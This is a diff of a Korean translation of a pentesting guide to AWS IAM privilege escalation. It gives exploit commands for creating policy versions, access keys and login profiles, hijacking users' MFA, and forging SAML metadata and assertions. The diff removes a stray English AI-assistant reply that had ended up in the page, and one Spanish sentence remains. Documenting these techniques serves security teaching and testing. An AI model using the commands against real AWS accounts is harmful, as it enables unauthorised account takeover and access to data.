diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 8ce430278..aa33c1e10 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -IAM에 대한 자세한 정보는 다음을 확인하세요: +더 많은 IAM 정보는 다음을 확인하세요: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,94 +12,111 @@ IAM에 대한 자세한 정보는 다음을 확인하세요: ### **`iam:CreatePolicyVersion`** -새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한이 없어도 기본 정책 버전 설정을 우회할 수 있습니다. 이를 통해 사용자 지정 권한을 정의할 수 있습니다. +새 IAM policy version을 생성할 수 있는 권한을 부여하며, `--set-as-default` flag를 사용해 `iam:SetDefaultPolicyVersion` permission이 없어도 이를 우회합니다. 이를 통해 custom permissions를 정의할 수 있습니다. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**영향:** 모든 리소스에 대해 어떤 작업이든 허용함으로써 권한을 직접 상승시킵니다. +**Impact:** 어떤 리소스에 대해서도 모든 작업을 허용하여 권한을 직접 상승시킵니다. ### **`iam:SetDefaultPolicyVersion`** -IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전이 더 많은 권한을 포함하는 경우 권한이 상승될 수 있습니다. +기존의 다른 버전으로 IAM policy의 기본 버전을 변경할 수 있게 하며, 새 버전이 더 많은 권한을 가지면 잠재적으로 권한 상승이 가능합니다. **Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**영향:** 권한을 더 부여함으로써 발생하는 간접적인 privilege escalation. +**영향:** 더 많은 권한을 활성화하여 간접적인 privilege escalation. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 privilege escalation로 이어질 수 있다. +다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하며, 이는 잠재적인 privilege escalation으로 이어질 수 있습니다. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승이 발생합니다. +**영향:** 다른 사용자의 확장된 권한을 assume하여 직접 privilege escalation. -Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one: +사용자는 최대 2개의 access keys만 생성할 수 있으므로, 이미 2개의 access keys가 있는 사용자라면 새 access key를 생성할 수 있도록 그중 하나를 삭제하기 위한 `iam:DeleteAccessKey` 권한이 필요합니다: ```bash aws iam delete-access-key --access-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -새 virtual MFA device를 생성하고 다른 사용자에게 활성화(Enable)할 수 있다면, 해당 사용자에 대해 사실상 자신의 MFA를 등록(enroll)한 뒤 그 사용자의 자격 증명으로 MFA 기반 세션을 요청할 수 있습니다. +새 virtual MFA device를 생성하고 다른 user에 대해 enable할 수 있다면, 사실상 그 user에 대해 자신의 MFA를 enroll한 뒤 해당 credentials로 MFA-backed session을 요청할 수 있습니다. -**익스플로잇:** +**Prerequisites:** + +TOTP code에는 원하는 어떤 tool이든 사용할 수 있습니다 - oathtool은 사용하기 쉽고 가볍습니다. +```bash +sudo apt install oathtool +sudo dnf install oathtool +sudo yum install oathtool +``` +**Exploit:** ```bash # Create a virtual MFA device (this returns the serial and the base32 seed) -aws iam create-virtual-mfa-device --virtual-mfa-device-name +aws iam create-virtual-mfa-device --virtual-mfa-device-name \ +--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt -# Generate 2 consecutive TOTP codes from the seed, then enable it for the user -aws iam enable-mfa-device --user-name --serial-number \ +# Generate 2 consecutive TOTP codes from the seed + +oathtool --base32 --totp "" -w 1 + +# Enable the new device for the user +aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**영향:** 사용자의 MFA 등록을 탈취하여(그 후 해당 사용자의 권한을 사용) 직접적인 권한 상승을 초래합니다. +**Authenticate:** + +대상 사용자로 기본 세션을 확보한 뒤에는 security token service를 사용해 MFA-backed token을 얻을 수 있습니다. +```bash +aws sts get-session-token --serial-number --token-code +``` +**영향:** 사용자의 MFA 등록을 탈취한 뒤(그리고 그 권한을 사용해) 직접 권한 상승. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함해 직접적인 권한 상승으로 이어질 수 있습니다. +AWS console 로그인용 비밀번호 설정을 포함한 login profile 생성 또는 수정을 허용하며, 이는 직접 권한 상승으로 이어진다. -**생성용 Exploit:** +**생성에 대한 Exploit:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit (업데이트용):** +**업데이트용 Exploit:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**영향:** 임의의 사용자("any")로 로그인하여 직접적인 권한 상승을 초래합니다. +**영향:** "any" 사용자로 로그인하여 직접 권한 상승. ### **`iam:UpdateAccessKey`** -비활성화된 access key를 활성화할 수 있게 하며, 공격자가 해당 비활성 키를 보유하고 있는 경우 무단 접근으로 이어질 수 있습니다. +비활성화된 access key를 활성화할 수 있으며, 공격자가 비활성화된 key를 보유하고 있다면 무단 access로 이어질 수 있습니다. -**Exploit:** +**익스플로잇:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**영향:** access keys를 재활성화하여 직접적인 권한 상승. +**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -특정 AWS 서비스(대부분 **CodeCommit**)용 자격증명 생성 또는 재설정을 가능하게 합니다. 이는 **AWS API keys가 아닙니다**: 특정 서비스용 **username/password** 자격증명으로, 해당 서비스가 이를 허용하는 곳에서만 사용할 수 있습니다. +특정 AWS 서비스(가장 흔하게는 **CodeCommit**)에 대한 credential을 생성하거나 재설정할 수 있게 합니다. 이들은 **AWS API 키가 아닙니다**: 특정 서비스용 **username/password** credential이며, 해당 서비스가 이를 허용하는 곳에서만 사용할 수 있습니다. **생성:** ```bash aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -저장: - - `ServiceSpecificCredential.ServiceUserName` - `ServiceSpecificCredential.ServicePassword` -**예:** +**예시:** ```bash # Find a repository you can access as the target aws codecommit list-repositories @@ -114,41 +131,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${ git clone "$CLONE_URL" cd "$REPO_NAME" ``` -> 참고: 서비스 비밀번호에는 종종 `+`, `/` 및 `=` 같은 문자가 포함됩니다. 대화형 프롬프트를 사용하는 것이 보통 가장 쉽습니다. URL에 포함시키려면 먼저 URL 인코딩하세요. +> Note: 서비스 비밀번호에는 종종 `+`, `/`, `=` 같은 문자가 포함됩니다. interactive prompt를 사용하는 것이 보통 가장 쉽습니다. URL에 넣어야 한다면, 먼저 URL-encode하세요. -이 시점에서는 CodeCommit에서 대상 사용자가 접근할 수 있는 모든 것을 읽을 수 있습니다(예: a leaked credentials file). 리포지토리에서 **AWS access keys**를 획득하면, 해당 키로 새로운 AWS CLI 프로파일을 구성한 뒤 리소스에 접근할 수 있습니다(예: Secrets Manager에서 플래그를 읽기): +이 시점에서 target user가 CodeCommit에서 access할 수 있는 것은 무엇이든 읽을 수 있습니다(예: leak된 credentials 파일). repo에서 **AWS access keys**를 가져오면, 그 키로 새 AWS CLI profile을 설정한 다음 resource에 access하세요(예: Secrets Manager에서 flag를 읽기): ```bash aws secretsmanager get-secret-value --secret-id --profile ``` -**재설정:** +**초기화:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**영향:** 대상 사용자가 해당 서비스에 대해 가지는 권한으로 권한 상승(해당 서비스에서 가져온 데이터를 사용해 피벗하면 그 범위를 넘어설 수 있음). +**영향:** 주어진 서비스에 대해 대상 사용자의 권한으로 privilege escalation 가능(그리고 해당 서비스에서 가져온 데이터를 활용해 pivot하면 그 이상도 가능할 수 있음). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -사용자 또는 그룹에 정책을 연결할 수 있게 하여, 연결된 정책의 권한을 상속받음으로써 권한을 직접적으로 상승시킨다. +사용자나 그룹에 policy를 attach할 수 있게 하며, attached policy의 permissions를 상속해 직접적으로 privileges를 상승시킨다. -**Exploit for User:** +**사용자에 대한 exploit:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**그룹용 Exploit:** +**Group에 대한 Exploit:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**영향:** 정책이 허용하는 모든 항목에 대한 직접적인 권한 상승. +**영향:** 정책이 부여하는 모든 것으로 직접 privilege escalation. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있게 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 초래합니다. +role, user, 또는 group에 policies를 attach하거나 put할 수 있게 하며, 추가 permissions를 부여해 직접 privilege escalation을 가능하게 한다. -**역할에 대한 Exploit:** +**Role에 대한 Exploit:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Inline Policies에 대한 Exploit:** +**Inline Policies용 Exploit:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -159,7 +176,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -다음과 같은 정책을 사용할 수 있습니다: +You can use a policy like: ```json { "Version": "2012-10-17", @@ -172,28 +189,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**영향:** 정책을 통해 권한을 추가하여 직접적인 권한 상승을 유발함. +**영향:** 정책을 통해 권한을 추가하여 직접 권한 상승. ### **`iam:AddUserToGroup`** -자신을 IAM 그룹에 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한이 상승함. +IAM 그룹에 자신을 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한을 상승시킨다. -**익스플로잇:** +**Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**영향:** 그룹의 권한 수준으로 직접적인 권한 상승. +**영향:** 그룹 권한 수준까지의 직접적인 privilege escalation. ### **`iam:UpdateAssumeRolePolicy`** -역할의 assume role policy document를 수정할 수 있게 하여, 해당 역할 및 연관된 권한을 획득할 수 있습니다. +role의 assume role policy document를 변경할 수 있게 하며, 이를 통해 해당 role과 그에 연결된 권한을 assume할 수 있게 한다. -**Exploit:** +**익스플로잇:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -정책이 다음과 같이 되어 있어 사용자가 해당 역할을 맡을 수 있는 권한을 부여하는 경우: +정책이 다음과 같이 보이는 경우, 이는 사용자에게 해당 role을 assume할 수 있는 권한을 부여합니다: ```json { "Version": "2012-10-17", @@ -208,38 +225,38 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**영향:** 직접적인 권한 상승 — 임의의 역할(role) 권한을 가정하여 획득할 수 있음. +**영향:** 모든 role의 permissions를 가정하여 직접 privilege escalation 가능. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -SSH 공개키를 업로드하여 CodeCommit에 인증할 수 있게 허용하고, MFA 디바이스를 비활성화할 수 있게 하며, 이는 잠재적인 간접 권한 상승으로 이어질 수 있음. +CodeCommit 인증을 위한 SSH public key 업로드와 MFA device 비활성화를 허용하며, 이는 잠재적으로 indirect privilege escalation으로 이어질 수 있습니다. -**Exploit for SSH Key Upload:** +**SSH Key Upload를 위한 Exploit:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit for MFA 비활성화:** +**MFA 비활성화를 위한 Exploit:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impact:** CodeCommit 액세스 활성화 또는 MFA 보호 비활성화를 통해 간접적인 권한 상승이 발생할 수 있음. +**영향:** CodeCommit 접근을 활성화하거나 MFA 보호를 비활성화하여 간접적인 privilege escalation. ### **`iam:ResyncMFADevice`** -MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작해 간접적인 권한 상승으로 이어질 수 있음. +MFA device의 재동기화를 허용하며, MFA 보호를 조작함으로써 간접적인 privilege escalation으로 이어질 수 있습니다. **Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** MFA 장치를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승. +**Impact:** MFA devices를 추가하거나 조작하여 간접적인 privilege escalation. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -이 권한들이 있으면 **SAML 연결의 XML 메타데이터를 변경할 수 있습니다**. 그런 다음, **SAML federation**을 악용하여 해당 SAML을 신뢰하는 어떤 **role**로도 **login**할 수 있습니다. +이 권한들이 있으면 **SAML connection의 XML metadata를 변경**할 수 있습니다. 그러면 **SAML federation**을 악용해 이를 **trusting**하는 어떤 **role**로든 **login**할 수 있습니다. -참고: 이렇게 하면 **정상 사용자들은 login할 수 없게 됩니다**. 하지만 XML을 가져올 수 있으므로, 자신의 XML을 넣고 **login**하여 이전 설정을 다시 구성할 수 있습니다 +이렇게 하면 **legit users**는 **login**할 수 없게 된다는 점에 유의하세요. 하지만 XML을 얻을 수 있으므로, 자신의 것을 넣고 **login**한 다음 이전 설정을 다시 구성할 수 있습니다. ```bash # List SAMLs aws iam list-saml-providers @@ -255,9 +272,9 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -**종단 간 공격:** +**End-to-end attack:** -1. SAML provider와 이를 신뢰하는 role을 열거한다: +1. SAML provider와 이를 신뢰하는 role을 열거합니다: ```bash export AWS_REGION=${AWS_REGION:-us-east-1} @@ -272,7 +289,7 @@ aws iam list-roles | grep -i saml || true aws iam get-role --role-name "" export ROLE_ARN="arn:aws:iam:::role/" ``` -2. 역할/프로바이더 쌍에 대해 IdP 메타데이터를 위조하고 서명된 SAML assertion 생성: +2. role/provider 쌍에 대한 signed SAML assertion + IdP metadata를 Forge: ```bash python3 -m venv /tmp/saml-federation-venv source /tmp/saml-federation-venv/bin/activate @@ -289,7 +306,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") PY ```
-펼치기: /tmp/saml_forge.py 헬퍼 (metadata + signed assertion) +Expandable: /tmp/saml_forge.py helper (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations @@ -485,7 +502,7 @@ main() ```
-3. SAML provider metadata를 IdP certificate로 업데이트하고, assume the role한 후 반환된 STS credentials를 사용합니다: +3. SAML provider metadata를 자신의 IdP certificate로 업데이트하고, role을 assume한 뒤, 반환된 STS credentials를 사용합니다: ```bash aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata.xml @@ -512,11 +529,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata-original.xml ``` > [!WARNING] -> SAML provider metadata를 업데이트하는 것은 중단을 초래할 수 있습니다: 메타데이터가 적용되어 있는 동안 합법적인 SSO 사용자가 인증하지 못할 수 있습니다. +> SAML provider metadata를 업데이트하는 것은 disruptive합니다: metadata가 적용되어 있는 동안 legitimate SSO users가 authenticate하지 못할 수도 있습니다. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(확실하지 않음) 공격자가 이러한 **권한**을 가지고 있다면, 해당 provider를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다. +(Unsure about this) 공격자가 이 **permissions**를 가지고 있다면, 새로운 **Thumbprint**를 추가해서 provider를 trust하는 모든 role에 login할 수 있게 될 수도 있습니다. ```bash # List providers aws iam list-open-id-connect-providers @@ -527,7 +544,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -이 권한을 통해 attacker는 사용자의 permissions boundary를 업데이트할 수 있으며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있게 되어 잠재적으로 권한이 상승될 수 있습니다. +이 permissions는 공격자가 user의 permissions boundary를 업데이트할 수 있게 하며, 기존 permissions로는 일반적으로 제한되는 작업을 수행할 수 있도록 하여 권한을 상승시킬 수 있습니다. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -550,29 +567,29 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 권한을 부적절하게 제한하면 서비스 중단을 초래할 수 있고, 관대한 권한 경계를 연결하면 해당 역할이 수행할 수 있는 작업이 실질적으로 확대되어 권한 상승으로 이어질 수 있습니다. +`iam:PutRolePermissionsBoundary` 권한을 가진 actor는 기존 role에 permissions boundary를 설정할 수 있습니다. 이 권한의 위험은 누군가가 role의 boundary를 변경할 때 발생합니다: 작업을 부적절하게 제한하여(service disruption을 유발) 장애를 일으키거나, 허용적인 boundary를 붙여 role이 할 수 있는 작업을 사실상 확장하고 privileges를 escalated 할 수 있습니다. ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` ### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken` -공격자는 자신이 제어하는 가상 MFA 디바이스를 생성하여 대상 IAM 사용자에 연결하고 피해자의 원래 MFA를 대체하거나 우회합니다. 이 공격자 제어 MFA의 seed를 사용해 유효한 일회용 비밀번호를 생성하고 STS를 통해 MFA 인증 세션 토큰을 요청합니다. 이렇게 하면 공격자는 MFA 요구사항을 충족시켜 피해자 계정으로서 임시 자격 증명을 획득할 수 있으며, MFA가 적용되어 있더라도 계정 탈취를 사실상 완성하게 됩니다. +공격자는 자신의 통제 하에 있는 가상 MFA 디바이스를 생성하고 이를 대상 IAM user에 연결하여, 피해자의 기존 MFA를 교체하거나 우회합니다. 공격자가 통제하는 MFA의 seed를 사용해 유효한 one-time passwords를 생성하고, STS를 통해 MFA-authenticated session token을 요청합니다. 이를 통해 공격자는 MFA 요구사항을 충족하고 피해자처럼 temporary credentials를 얻을 수 있으며, MFA가 강제되어 있어도 사실상 account takeover를 완료할 수 있습니다. -대상 사용자에 이미 MFA가 설정되어 있다면, 이를 비활성화합니다 (`iam:DeactivateMFADevice`): +대상 user에 이미 MFA가 있다면 비활성화합니다 (`iam:DeactivateMFADevice`): ```bash aws iam deactivate-mfa-device \ --user-name TARGET_USER \ --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME ``` -새 가상 MFA 장치 생성(시드를 파일에 기록) +새 virtual MFA device를 생성합니다(시드를 파일에 기록함) ```bash aws iam create-virtual-mfa-device \ --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \ --bootstrap-method Base32StringSeed \ --outfile /tmp/mfa-seed.txt ``` -시드 파일에서 연속된 두 개의 TOTP 코드를 생성하세요: +시드 파일에서 연속된 TOTP 코드 두 개를 생성하세요: ```python import base64, hmac, hashlib, struct, time @@ -592,7 +609,7 @@ now = int(time.time()) print(totp(now)) print(totp(now + 30)) ``` -대상 사용자에 대해 MFA 디바이스를 활성화하고, MFA_SERIAL_ARN, CODE1, CODE2를 교체하세요: +타깃 user에 MFA device를 enable하고, MFA_SERIAL_ARN, CODE1, CODE2를 교체하세요: ```bash aws iam enable-mfa-device \ --user-name TARGET_USER \ @@ -600,21 +617,7 @@ aws iam enable-mfa-device \ --authentication-code1 CODE1 \ --authentication-code2 CODE2 ``` -I can’t generate a valid STS MFA token code without the MFA device’s secret (or the device itself). If you want to generate one yourself or have me compute it for you, either: - -- Run this locally (Python + pyotp) to get the current TOTP code from your base32 secret: - ``` - pip install pyotp - python -c "import pyotp,sys;print(pyotp.TOTP(sys.argv[1]).now())" YOUR_BASE32_SECRET - ``` - Replace YOUR_BASE32_SECRET with your MFA seed (do not share that secret publicly). - -- Or, if you have the numeric code from your MFA device, use it with AWS CLI to get STS credentials: - ``` - aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456 - ``` - -If you want me to compute the current TOTP for you, provide the base32 MFA secret here (only if you control it and understand the risks). Otherwise I can help you walk through generating it locally. +현재 STS용 토큰 코드를 생성하세요 ```python import base64, hmac, hashlib, struct, time @@ -629,13 +632,13 @@ o = h[-1] & 0x0F code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 print(f"{code:06d}") ``` -인쇄된 값을 TOKEN_CODE로 복사하고 MFA가 적용된 세션 토큰(STS)을 요청하세요: +인쇄된 값을 TOKEN_CODE로 복사하고 MFA-backed session token (STS)을 요청하세요: ```bash aws sts get-session-token \ --serial-number MFA_SERIAL_ARN \ --token-code TOKEN_CODE ``` -## 참고자료 +## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)